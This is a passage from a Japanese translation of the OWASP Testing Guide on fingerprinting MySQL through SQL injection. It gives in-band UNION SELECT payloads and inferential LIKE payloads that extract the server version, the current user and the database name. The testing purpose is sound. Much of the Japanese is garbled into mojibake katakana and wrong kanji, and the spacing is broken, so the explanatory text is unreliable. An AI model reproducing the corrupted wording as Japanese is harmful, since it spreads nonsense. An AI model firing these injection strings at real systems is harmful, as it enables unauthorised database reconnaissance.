OWASP テスティングガイド

OWASP Testing Guide v3.0
if(version >= 4.1.10)
キウヨに'and 1=0'を 追 加 する
結 果 が 同 じであるように、これらは 同 等 です。
イヱバヱドのイヱザェキサュヱ8
1 AND 1=0 UNION SELECT @@version /*
推 測 のイヱザェキサュヱ8
1 AND @@version like '4.0%'
予 期 する 結 果 :
このような 文 字 :5.0.22-log
ロギアンヱヤーザ
MySQL コーバには 2 種 類 のヤーゴがあります。
1. [USER()]:MySQL コーバに 接 続 しているヤーゴ
2. [CURRENT_USER()]:キウヨを 実 行 している 内 部邪 のヤーゴ
1 と 2 には 少 し 遊 いがあります。
主 な 遊 いの 1 つは、( 許 可 されていれば' 匿 名 ヤーゴが 適遚 当 な 名 前 を 使 って 接 続 できます。しかし、MySQL の 内 部邪 ヤーゴ
は 空 の 名 前 ('''です。
他 の 遊 いは、シトアドプルサーザメやシトアド 関 数 は、どこかで 宣 言 がされていなければ、 作 成 したヤーゴで 実 行 されます。
これは、CURRENT_USER を 使 用 することで 知 ることができます。
イヱバヱドのイヱザェキサュヱ8
1 AND 1=0 UNION SELECT USER()
推 測 のイヱザェキサュヱ8
1 AND USER() like 'root%'
予 期 する 結 果 :
このような 文 字 :user@hostname
使 用 しているデータベースの 名 前
ネイティブの 関 数 DATABASE()があります。
イヱバヱドのイヱザェキサュヱ8
1 AND 1=0 UNION SELECT DATABASE()
推 測 のイヱザェキサュヱ8
1 AND DATABASE() like 'db%'
233